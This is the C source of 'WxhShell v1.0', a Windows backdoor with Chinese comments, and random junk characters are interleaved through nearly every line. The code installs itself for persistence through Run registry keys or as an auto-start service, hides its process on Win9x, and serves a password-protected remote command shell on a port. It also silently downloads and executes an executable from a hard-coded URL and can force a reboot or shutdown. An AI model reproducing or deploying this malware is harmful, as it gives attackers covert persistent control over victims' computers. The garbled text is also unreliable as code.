(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @s2z/h0H NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |?V6__9 T$GhE if (!NtQueryInformationProcess) return 0; (BMFGyE3 Cf<i" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~c! XQJ if(!hProcess) return 0; p8[Z/]p ff-9NvW4v if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
Rla1,{1 nXb;&n% CloseHandle(hProcess); t=iy40_T .cQwjL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .2!'6;K if(hProcess==NULL) return 0; /V46:`V cc.zC3Hs3 HMODULE hMod; (J\"\#/d char procName[255]; ocAoqjlT[ unsigned long cbNeeded; d
'4c?vC a[xEN7L~4D if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YX18!OhQ v)d\
5#7 CloseHandle(hProcess); /0!6;PC< 50l=B]M if(strstr(procName,"services")) return 1; // 以服务启动 ~k+-))pf 6~&4>2b0f return 0; // 注册表启动 )]n:y M } ;-n+=@]7 mxq'A // 主模块 3Q~ng2Wv% int StartWxhshell(LPSTR lpCmdLine) -"\z|OQ { Uj0DX>I SOCKET wsl; 9FX'Uw s BOOL val=TRUE; 4ZQXYwfC| int port=0; /tJJ2 =%l struct sockaddr_in door; Ca*^U- #J, `a. if(wscfg.ws_autoins) Install(); QlSZr[^v 9W5vp:G port=atoi(lpCmdLine); E{_p&FF jv5p_v4%O if(port<=0) port=wscfg.ws_port; u(\b1h n #8%Lc3n WSADATA data; .?[2,4F; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^B1Q";#
B^ +*DXzVC if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .B"h6WMz setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ].
IUQ*4t door.sin_family = AF_INET; (VWTYG7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); U:#9!J?41 door.sin_port = htons(port); mUm9[X~' ^WVH z;
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (4>k+ H closesocket(wsl); j Bl I^ return 1; zK}$W73W^ } !HY+6!hk 1$q SbQ if(listen(wsl,2) == INVALID_SOCKET) { x
a7x
2]~- closesocket(wsl); 06]J] return 1; kRTT
~ } Yr,e7da Wxhshell(wsl); SE;Jl[PgcL WSACleanup(); Z[FSy-;" kZ[E493bV return 0; v5; c}n )<UNiC } S$=])^ dur 7-'!XD! // 以NT服务方式启动 b9%hzD,MR VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =eDVgOZ) { /V2Ih DWORD status = 0; mG1=8{o^ DWORD specificError = 0xfffffff; bEMD2ABm ?r'rvu'/ serviceStatus.dwServiceType = SERVICE_WIN32; R}#?A%,* serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3(}W=oI serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `(q+@ #) serviceStatus.dwWin32ExitCode = 0; wZ0$ylEX serviceStatus.dwServiceSpecificExitCode = 0; TF^Rh4 serviceStatus.dwCheckPoint = 0; # yAt ` serviceStatus.dwWaitHint = 0; {}s7q|$ >IJH#>i hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); : ,fs'! if (hServiceStatusHandle==0) return; 8)\ ?6C ;xN4L status = GetLastError(); f-k%P$"X& if (status!=NO_ERROR) lOCMKaCD { "S,,Bj L serviceStatus.dwCurrentState = SERVICE_STOPPED; >j4;{r+eQw serviceStatus.dwCheckPoint = 0; ^Cst4=:W serviceStatus.dwWaitHint = 0; _<+! serviceStatus.dwWin32ExitCode = status; &
VJ+X|Z serviceStatus.dwServiceSpecificExitCode = specificError; [W,Ej SetServiceStatus(hServiceStatusHandle, &serviceStatus); XPBKQm_} return; ?R(fxx } yS0!#AG X"z^4?Aj+ serviceStatus.dwCurrentState = SERVICE_RUNNING; K pDK Ii serviceStatus.dwCheckPoint = 0; MD1n+FgTu serviceStatus.dwWaitHint = 0; L09YA if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ||;V5iR: } >OgA3)X F
*=>= // 处理NT服务事件,比如:启动、停止 7.,C'^ci VOID WINAPI NTServiceHandler(DWORD fdwControl) wI'T Je, { Kyq/'9` switch(fdwControl) -lQ8
&eB { t3}>5cAxy case SERVICE_CONTROL_STOP: ",k"c}3G serviceStatus.dwWin32ExitCode = 0; yTm/P!1S serviceStatus.dwCurrentState = SERVICE_STOPPED; az*c0Z<pl serviceStatus.dwCheckPoint = 0; D{x'k2= serviceStatus.dwWaitHint = 0; %c<e`P; { h8&VaJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); \uQ yp*P1s } xA& tVQ2! return; FO<PMK case SERVICE_CONTROL_PAUSE: H9?(5 serviceStatus.dwCurrentState = SERVICE_PAUSED; J/mLmSx break; 9. 6"C<eYt case SERVICE_CONTROL_CONTINUE: p[2`H$A serviceStatus.dwCurrentState = SERVICE_RUNNING; F0qpJM, break; g`i?]6c}jt case SERVICE_CONTROL_INTERROGATE: ;.Zgt8/. break; A(V,qw8 }; <~@}r\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); LUc!a4i"fO } CBN,~wzP* ,bzE`6 // 标准应用程序主函数 <j,ZAA&5%Y int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _C2iP[YwQ{ { 2w_[c. !'8.qs // 获取操作系统版本 R}_B\# Q OsIsNt=GetOsVer(); 97l<9^$ GetModuleFileName(NULL,ExeFile,MAX_PATH); Gf_Je ?41bZ$j // 从命令行安装 #Z#rOh if(strpbrk(lpCmdLine,"iI")) Install(); C jISU$O $9YAq/#Q // 下载执行文件 NX%"_W/W if(wscfg.ws_downexe) { NOM6},rp if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) akATwSrU WinExec(wscfg.ws_filenam,SW_HIDE); i=T!4'Zu }
Tsg;i; .;}vp* if(!OsIsNt) { UCV1 { // 如果时win9x,隐藏进程并且设置为注册表启动 !0!m |^c5 HideProc(); $ha,DlN StartWxhshell(lpCmdLine); vX1 8
] } B6ee\23 else N iw~0"-V if(StartFromService()) "'U+T:S // 以服务方式启动 N!!=9'fGF StartServiceCtrlDispatcher(DispatchTable); opsjei@ else xl2;DFiYt // 普通方式启动 %])U ( StartWxhshell(lpCmdLine); CoZOKRoaH gr1NcHu return 0; #0$fZ } +lC?Vpi^ hhWIwR o|`[X' g?B4b7II =========================================== qJ(XW N H yUnNf 2i H j [!F% _Ns/#Xe/ lldNIL6B% M5 \flE2 " C- 5QhD !=Scpo_ #include <stdio.h> {$qE>ic #include <string.h> gZq_BY_U #include <windows.h> +xNV1bM #include <winsock2.h> O]_a$U*6 #include <winsvc.h> #1fL2nlP*E #include <urlmon.h> N_wj,yF* 8=!uQQ #pragma comment (lib, "Ws2_32.lib") HOt,G
_{ #pragma comment (lib, "urlmon.lib") Gb!R>WY 8ShIn@|32 #define MAX_USER 100 // 最大客户端连接数 IC"Z.'Ph #define BUF_SOCK 200 // sock buffer ^+p7\D/E( #define KEY_BUFF 255 // 输入 buffer Mh"X9-Ot 6mV-+CnYC #define REBOOT 0 // 重启 w1Txz4JqB #define SHUTDOWN 1 // 关机 qXqGhHoe; 2ieyU5q7# #define DEF_PORT 5000 // 监听端口 @cB7tY*Ski QjOO^6Fh #define REG_LEN 16 // 注册表键长度 QL]e<2oPJ #define SVC_LEN 80 // NT服务名长度 jQBL8< H #Hhi<2 // 从dll定义API iX%9$Bft< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7f] qCZ<0V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <@Z`<T6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hT`fAn_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tm&,u*6$W? J6J"> // wxhshell配置信息 ?wP/l struct WSCFG { ]!q>@b int ws_port; // 监听端口 BItH0r7 char ws_passstr[REG_LEN]; // 口令 'B:8tv int ws_autoins; // 安装标记, 1=yes 0=no (/7b8)g char ws_regname[REG_LEN]; // 注册表键名 o_8Wnx^ char ws_svcname[REG_LEN]; // 服务名 av&~A+b.r char ws_svcdisp[SVC_LEN]; // 服务显示名 v-Tkp
Yn char ws_svcdesc[SVC_LEN]; // 服务描述信息 j(A>M_f; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3{)!T;W d
int ws_downexe; // 下载执行标记, 1=yes 0=no OUq%d8W char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A(_HMqA] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nz|6CP e@Mg9VwDc }; Yt[LIn-v: 4#qZ`H,Ur) // default Wxhshell configuration 1etT." struct WSCFG wscfg={DEF_PORT, 9(3]t}J5
d "xuhuanlingzhe", ZIN1y;dJ 1, nll=Vd[ "Wxhshell", i50E#+E8 "Wxhshell", Q6T"8K/ "WxhShell Service", G2<$to~{ "Wrsky Windows CmdShell Service", a,36FF~& "Please Input Your Password: ", #_eXybUV 1, L{&>,ww "http://www.wrsky.com/wxhshell.exe", AJ+\Qs(0 "Wxhshell.exe" wBDHhXi0 }; 0!-'4+" ebn3r:IU- // 消息定义模块 0K'{w]Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qr\eT} char *msg_ws_prompt="\n\r? for help\n\r#>"; zo1T`"Y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; inY_cn? char *msg_ws_ext="\n\rExit."; 0W0GSDx char *msg_ws_end="\n\rQuit."; D6~KLSKm char *msg_ws_boot="\n\rReboot..."; Wv|CJN;4 char *msg_ws_poff="\n\rShutdown..."; LC4VlfU char *msg_ws_down="\n\rSave to "; iX o( ClY`2 char *msg_ws_err="\n\rErr!"; Iprt
ZqiL char *msg_ws_ok="\n\rOK!"; T+^Sa
J ic5af"/(\ char ExeFile[MAX_PATH]; uh2 Fr int nUser = 0; ^&D5J\][ HANDLE handles[MAX_USER]; _&~l,%)& int OsIsNt; ,hH c
-%- @0]w!q SERVICE_STATUS serviceStatus; Tw djBMte SERVICE_STATUS_HANDLE hServiceStatusHandle; h/oun2C Fv7]1EO. // 函数声明 [n2zdiiBd int Install(void); Qo:vAv int Uninstall(void); V~VUl) int DownloadFile(char *sURL, SOCKET wsh); ;vneeW4| int Boot(int flag); :pM)I5MN[ void HideProc(void); WH4rZ }Z` int GetOsVer(void); @<3E`j'p int Wxhshell(SOCKET wsl); DXG`% <ZMn void TalkWithClient(void *cs); X~UL$S; int CmdShell(SOCKET sock); '<3h8\" int StartFromService(void); ,ss"s3 int StartWxhshell(LPSTR lpCmdLine); c(uDkX }W@refS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !uit VOID WINAPI NTServiceHandler( DWORD fdwControl ); T;5VNRgpI 0Ix,c( % // 数据结构和表定义 $@@ii+W}\ SERVICE_TABLE_ENTRY DispatchTable[] = 9i U/[d { &',#j]I {wscfg.ws_svcname, NTServiceMain}, ^,YTQ.O {NULL, NULL} >-\^ )z }; sBYDo{01 JN:L%If // 自我安装 ^\g.iuE int Install(void) yH=<KYk { 6/#+#T char svExeFile[MAX_PATH]; 5Q
<vS"g HKEY key; W**[:n+ strcpy(svExeFile,ExeFile); 9+MW13? =dH=3iCG // 如果是win9x系统,修改注册表设为自启动 SHs [te[ if(!OsIsNt) {
T*mR9 8i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XlD=<$Nk7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VQ,5&-9Y3 RegCloseKey(key); qtdkK LT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )^BZ,e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f,i2U|1pbj RegCloseKey(key); K\KQ(N8F return 0; y{&%]Fq
<5 } k-a1^K3 } A9N8Hav } 5k@T{ else { R(pQu!
K4 P>u2""c // 如果是NT以上系统,安装为系统服务 )5n0P
Zi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \9@}0}%` if (schSCManager!=0) P5h*RV>oS { ?mM:oQH+> SC_HANDLE schService = CreateService X3 1%T" ( R<gAxO%8 schSCManager, y9?*H?f, wscfg.ws_svcname, Go1xyd:k wscfg.ws_svcdisp, ;zze.kb&F
SERVICE_ALL_ACCESS, 2q]ZI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c7{s'ifG SERVICE_AUTO_START, C$K?4$ SERVICE_ERROR_NORMAL, J~xm[^0 svExeFile, `q\F C[W NULL, /k?l%AH NULL, H{yBDxw NULL, kP}l"CN4 NULL, VRgckh
m NULL n|? sNM<J3 ); OM^`P if (schService!=0) =$+0p3[r {
E.;Hm; CloseServiceHandle(schService); n:B){'S CloseServiceHandle(schSCManager); A W6B[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g33Y$Xdk strcat(svExeFile,wscfg.ws_svcname); :R=7dH~r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WV'u}-v^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :Cezk D& RegCloseKey(key); Z2@e~&L return 0; fd #QCs } xjF>AAM_Px } g]JRAM CloseServiceHandle(schSCManager); 8RuW[T? } TghT{h@ } X^dasU{* 0sA`})Dk return 1; E+EcXf } @aN~97
H\ k"%JyO8Y // 自我卸载 Nt]nwae>A int Uninstall(void) ^t71${w## { J @~g> HKEY key; o3\^9-jmp f3n^Sw&Q(Q if(!OsIsNt) { t5_76'@cX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z
ztp %2c RegDeleteValue(key,wscfg.ws_regname); y${`W94 RegCloseKey(key); -hfkF+=U' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R\X;`ptT RegDeleteValue(key,wscfg.ws_regname); \2[tM/+Bs RegCloseKey(key); -dF (_ %C return 0; ^i8biOSZu } rN7JJHV } -K$ugDi } pg!oi?Jn else { 8dLmsk^ !gV{[j?~zr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :-U&_%#w if (schSCManager!=0) A-.Wd7^~* { oiR9NB&< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K:qc
"Q=C if (schService!=0) vol (%wB { },}g](!m if(DeleteService(schService)!=0) { t~dK\>L CloseServiceHandle(schService); h+!R)q8M CloseServiceHandle(schSCManager); wj0_X;L return 0;
LjEMs\P\ } +:jv )4^O CloseServiceHandle(schService); 6Y6t.j0vN. } Y1>OhHuN CloseServiceHandle(schSCManager); q&3(yhx } _*g.U=u } Z8/.I ^V9|uHOJoq return 1; 4_CL1g } ~.J*_0~Ze 6vTnm4 // 从指定url下载文件 gaNe\ int DownloadFile(char *sURL, SOCKET wsh) 8"NPj0 { +t*I{X( HRESULT hr; uit.r^8l char seps[]= "/"; 3?`TEw~' char *token; ~*\ *8U@7 char *file; "Xwsu8~ char myURL[MAX_PATH]; G(shZ=fq char myFILE[MAX_PATH]; 3G 5xIr6
(RrC<5" strcpy(myURL,sURL); o(> #}[N} token=strtok(myURL,seps); Z
eY*5m while(token!=NULL) 1#;^Z3 { )+Z.J]$O- file=token; b&QI#w token=strtok(NULL,seps); SYQP7oG9oQ } KRn[(yr`% FYu30 GetCurrentDirectory(MAX_PATH,myFILE); `-cw[@uD strcat(myFILE, "\\"); ^?\|2H strcat(myFILE, file); 9An\uH)mL send(wsh,myFILE,strlen(myFILE),0); U6wy^!_X9 send(wsh,"...",3,0); ]Lg~I#/# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZQir?1= if(hr==S_OK) )K::WqR%w) return 0; O[L#|_BnEO else X7-[#} T return 1; B]b/(Q+ z0a`*3 -2 } }M"])B I
"Dq^r9 // 系统电源模块 VM&Ref4 int Boot(int flag) Y}q~Km { W?!rqo2SP HANDLE hToken; Hi$N"16A5z TOKEN_PRIVILEGES tkp; 3m4
sh~ n"}*C|(k if(OsIsNt) { bUM4^m OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wlq3r# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "+`u ] tkp.PrivilegeCount = 1; "Y5 :{Kj tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J{kS4v*J AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T%Cj#J&L if(flag==REBOOT) { _*{Lha if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `D=d!!1eUi return 0; 2u5\tp?8 } L:?Ew9Lf else { R47y/HG, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XhWo~zh" return 0; y0?HZ Xq } r58<A'# } 3 m-g- else { kz("LI] if(flag==REBOOT) { pXBh^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) agruS'c g return 0; `(P71T } x;} 25A| else { *<[\|L:#]Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UQYHR+ return 0; *V+,X } xC0y2+)| } R- ,L"Vv ,z`D}<3 return 1; <}c7E3Uc } vpdPW %B :f_oN3F p // win9x进程隐藏模块 0yMHU[):~ void HideProc(void) M0)0~#?.D { c(b`eUOO r~oUln<[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -ULgVGYKK if ( hKernel != NULL ) dWi.V?K4z { L*4=b
(3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pEN`6* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O7.eq524 FreeLibrary(hKernel); _/.VXW } +7
j/.R 7(C)vtEO: return; lg ,% } Y$)y:.2# <HS{A$] // 获取操作系统版本 MY z!zI int GetOsVer(void) )$a6l8
{ E KN<KnU% OSVERSIONINFO winfo; QR~4Fe winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n+< GetVersionEx(&winfo); ,VUOsNN4\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \LQZoD?W return 1; %Q.M& U else 4k<U5J return 0; #SI]^T| } E&Lml?@ DR]oK_ // 客户端句柄模块 Zn Rj}y int Wxhshell(SOCKET wsl) KiE'O{Y { /M3;~sx SOCKET wsh; M)wNu struct sockaddr_in client; H0t#J DWORD myID; 6L
Fhhl^ Uqj$itqUQ while(nUser<MAX_USER) =eDC{/K { 2lN0Sf@ int nSize=sizeof(client); Y-+Kf5_[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); loBW#> if(wsh==INVALID_SOCKET) return 1; QC]<`! zJUT<%[U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $`vXI%|. if(handles[nUser]==0) m@L>6;* closesocket(wsh); If 'N0^'W else meThjCC nUser++; Z
R~2Y?Wt9 } 1sJz`+\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E6T=lwOZ 2pSp(@N3 return 0; VtU2& } M-+!z5q~d *qm>py`O // 关闭 socket =dQF}-{! void CloseIt(SOCKET wsh) Z3u6m0! { '%TD#!a closesocket(wsh); dPV<:uO nUser--; 5*90t{# ExitThread(0); mT|r:Yr: } N693eN! Y q|OX<i`K // 客户端请求句柄 DM\pi9<m void TalkWithClient(void *cs) @cx#' { 7[R`52pP ALInJ{X SOCKET wsh=(SOCKET)cs; 5RY-.c4} char pwd[SVC_LEN]; i`}9VaUG char cmd[KEY_BUFF]; r9D
68*H char chr[1]; F`Z?$ 1 int i,j; ,#0#1k<Dm (58r9WhS while (nUser < MAX_USER) { #W_-S0>& 'cK{FiIT if(wscfg.ws_passstr) { 5;XU6Rz! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mr]~(]B?r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l6MBnvi //ZeroMemory(pwd,KEY_BUFF); q!h'rX=_- i=0; PBL=P+ while(i<SVC_LEN) { w-@6qMJ ye}86{l // 设置超时 J~
*>pp#U fd_set FdRead; G#E8xA"{/ struct timeval TimeOut; IkGM~3e FD_ZERO(&FdRead); 0/%RrE FD_SET(wsh,&FdRead); U`)d
`4" TimeOut.tv_sec=8; tpgD{BY^wJ TimeOut.tv_usec=0; FysIN~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gsm.a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u:wf:^ <<@F{B7h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /7.//klN pwd=chr[0]; +*eVi3 if(chr[0]==0xd || chr[0]==0xa) { 9%MgA ik( pwd=0; $}0\sj% break; nVP|{M } |gT8 QP i++; R"z}q(O: } ^ZBTd5t# /}eb1o // 如果是非法用户,关闭 socket i0?/\@gd if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E 429<LQI/ } 3_{rXtT)' usi3z9P>n send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #nj;F'O]( send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mMCd ScT{Tb]9bt while(1) { PHH,vO[eO md/h\o& ZeroMemory(cmd,KEY_BUFF); 7$R^u7DZ Tj6Czq=*%T // 自动支持客户端 telnet标准 ZF<$6"4N j=0; tq*6]q8c> while(j<KEY_BUFF) { }Cb-7/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T*(mi{[T cmd[j]=chr[0]; ;j<#VS-] if(chr[0]==0xa || chr[0]==0xd) { q[. p(6: cmd[j]=0;
-f<}lhmQ break; =C7<I } "837b/>/ j++; = ^%*: iT } ? a/\5`gnN [BEQ ~A_I // 下载文件 q1rD>n&d if(strstr(cmd,"http://")) { %."w]fy>P send(wsh,msg_ws_down,strlen(msg_ws_down),0); \@{TF((Y if(DownloadFile(cmd,wsh)) idjk uB(6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); v++&% else {~'Iu8TvZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,OMdLXr } )3 '8T>^<K else { 1>bNw-kz7 +h1X-K:I switch(cmd[0]) { yy`XtJBWWs n<A<Xj08T9 // 帮助 >52%^ ? case '?': { p y%:,hi send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X'/'r.b6 break; wf^p?=Ke } 12tAx3p // 安装 IGA4"\s case 'i': { ]r\!Z
<<( if(Install()) '*G8;91u send(wsh,msg_ws_err,strlen(msg_ws_err),0); r( bA>L*mk else }Am5b@g"$Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T#& |